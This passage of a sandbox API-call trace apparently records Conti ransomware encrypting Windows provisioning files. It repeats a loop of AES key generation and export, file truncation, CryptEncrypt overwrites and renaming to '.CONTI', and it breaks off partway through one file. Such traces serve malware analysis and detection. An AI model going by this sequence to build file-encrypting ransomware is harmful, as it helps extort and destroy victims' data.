	[0114.097] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1c6
	[0114.097] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.097] SetEndOfFile (hFile=0x3d4) returned 1
	[0114.101] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.101] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.101] WriteFile (in: hFile=0x3d4, lpBuffer=0x6b4ce1c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b4ce1c*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0114.103] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.103] ReadFile (in: hFile=0x3d4, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x1c6, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x1c6, lpOverlapped=0x0) returned 1
	[0114.103] CryptEncrypt (in: hKey=0x17c7cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x1c6, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x1d0) returned 1
	[0114.103] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.103] WriteFile (in: hFile=0x3d4, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x1d0, lpOverlapped=0x0) returned 1
	[0114.103] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.103] WriteFile (in: hFile=0x3d4, lpBuffer=0x6b4ce10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b4ce10*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0114.103] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.103] CloseHandle (hObject=0x3d4) returned 1
	[0114.104] GetProcessHeap () returned 0x1720000
	[0114.104] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.104] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\701__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\701__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\701__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0114.104] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\701__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\701__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\701__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0114.104] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\701__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\701__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\701__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\701__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0114.105] GetProcessHeap () returned 0x1720000
	[0114.105] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.105] CryptDestroyKey (hKey=0x17c7cb0) returned 1
	[0114.105] GetProcessHeap () returned 0x1720000
	[0114.105] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b54ac8 | out: hHeap=0x1720000) returned 1
	[0114.105] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0114.105] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b4b2b8 | out: phKey=0x6b4b2b8*=0x17c7cb0) returned 1
	[0114.105] CryptExportKey (in: hKey=0x17c7cb0, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4b2bc, pdwDataLen=0x433f9bc | out: pbData=0x6b4b2bc*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0114.106] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\703__Connections_Cellular_3 (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\703__connections_cellular_3 (italy)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0114.106] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\703__Connections_Cellular_3 (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\703__connections_cellular_3 (italy)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0114.106] GetLastError () returned 0x0
	[0114.106] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=705) returned 1
	[0114.106] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c1
	[0114.106] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.106] SetEndOfFile (hFile=0x3d4) returned 1
	[0114.107] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.107] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.107] WriteFile (in: hFile=0x3d4, lpBuffer=0x6b4b2bc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b4b2bc*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0114.108] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.109] ReadFile (in: hFile=0x3d4, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x2c1, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x2c1, lpOverlapped=0x0) returned 1
	[0114.109] CryptEncrypt (in: hKey=0x17c7cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2c1, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2d0) returned 1
	[0114.109] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.109] WriteFile (in: hFile=0x3d4, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.109] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.109] WriteFile (in: hFile=0x3d4, lpBuffer=0x6b4b2b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b4b2b0*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0114.109] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.109] CloseHandle (hObject=0x3d4) returned 1
	[0114.109] GetProcessHeap () returned 0x1720000
	[0114.109] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.109] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\703__Connections_Cellular_3 (Italy)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\703__Connections_Cellular_3 (Italy)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\703__Connections_Cellular_3 (Italy)_i1$(__MVID)@WAP.provxml"
	[0114.109] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\703__Connections_Cellular_3 (Italy)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\703__Connections_Cellular_3 (Italy)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\703__Connections_Cellular_3 (Italy)_i1$(__MVID)@WAP.provxml.CONTI"
	[0114.109] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\703__Connections_Cellular_3 (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\703__connections_cellular_3 (italy)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\703__Connections_Cellular_3 (Italy)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\703__connections_cellular_3 (italy)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0114.110] GetProcessHeap () returned 0x1720000
	[0114.110] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.110] CryptDestroyKey (hKey=0x17c7cb0) returned 1
	[0114.110] GetProcessHeap () returned 0x1720000
	[0114.110] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e0f88 | out: hHeap=0x1720000) returned 1
	[0114.110] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0114.110] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b4a998 | out: phKey=0x6b4a998*=0x17c7cb0) returned 1
	[0114.110] CryptExportKey (in: hKey=0x17c7cb0, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4a99c, pdwDataLen=0x433f9bc | out: pbData=0x6b4a99c*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0114.111] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\704__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\704__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0114.111] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\704__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\704__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0114.111] GetLastError () returned 0x0
	[0114.111] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=451) returned 1
	[0114.112] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1c3
	[0114.112] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.112] SetEndOfFile (hFile=0x3d4) returned 1
	[0114.112] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.112] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.113] WriteFile (in: hFile=0x3d4, lpBuffer=0x6b4a99c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b4a99c*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0114.114] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.114] ReadFile (in: hFile=0x3d4, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x1c3, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x1c3, lpOverlapped=0x0) returned 1
	[0114.114] CryptEncrypt (in: hKey=0x17c7cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x1c3, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x1d0) returned 1
	[0114.114] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.115] WriteFile (in: hFile=0x3d4, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x1d0, lpOverlapped=0x0) returned 1
	[0114.115] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.115] WriteFile (in: hFile=0x3d4, lpBuffer=0x6b4a990*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b4a990*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0114.115] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.115] CloseHandle (hObject=0x3d4) returned 1
	[0114.115] GetProcessHeap () returned 0x1720000
	[0114.115] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.115] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\704__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\704__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\704__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0114.115] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\704__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\704__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\704__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0114.115] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\704__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\704__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\704__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\704__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0114.116] GetProcessHeap () returned 0x1720000
	[0114.116] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.116] CryptDestroyKey (hKey=0x17c7cb0) returned 1
	[0114.116] GetProcessHeap () returned 0x1720000
	[0114.116] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b55650 | out: hHeap=0x1720000) returned 1
	[0114.116] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0114.116] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b4ae28 | out: phKey=0x6b4ae28*=0x17c7d30) returned 1
	[0114.116] CryptExportKey (in: hKey=0x17c7d30, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4ae2c, pdwDataLen=0x433f9bc | out: pbData=0x6b4ae2c*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0114.117] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\705__Connections_Cellular_FASTWEB (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\705__connections_cellular_fastweb (italy)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.117] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\705__Connections_Cellular_FASTWEB (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\705__connections_cellular_fastweb (italy)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0114.117] GetLastError () returned 0x0
	[0114.117] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=714) returned 1
	[0114.117] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ca
	[0114.117] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.117] SetEndOfFile (hFile=0x3d4) returned 1
	[0114.118] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.118] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.118] WriteFile (in: hFile=0x3d4, lpBuffer=0x6b4ae2c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b4ae2c*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0114.119] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.119] ReadFile (in: hFile=0x3d4, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x2ca, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x2ca, lpOverlapped=0x0) returned 1
	[0114.119] CryptEncrypt (in: hKey=0x17c7d30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2ca, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2d0) returned 1
	[0114.119] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.119] WriteFile (in: hFile=0x3d4, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.120] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.120] WriteFile (in: hFile=0x3d4, lpBuffer=0x6b4ae20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b4ae20*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0114.120] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.120] CloseHandle (hObject=0x3d4) returned 1
	[0114.120] GetProcessHeap () returned 0x1720000
	[0114.120] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.120] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\705__Connections_Cellular_FASTWEB (Italy)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\705__Connections_Cellular_FASTWEB (Italy)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\705__Connections_Cellular_FASTWEB (Italy)_i0$(__MVID)@WAP.provxml"
	[0114.120] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\705__Connections_Cellular_FASTWEB (Italy)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\705__Connections_Cellular_FASTWEB (Italy)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\705__Connections_Cellular_FASTWEB (Italy)_i0$(__MVID)@WAP.provxml.CONTI"
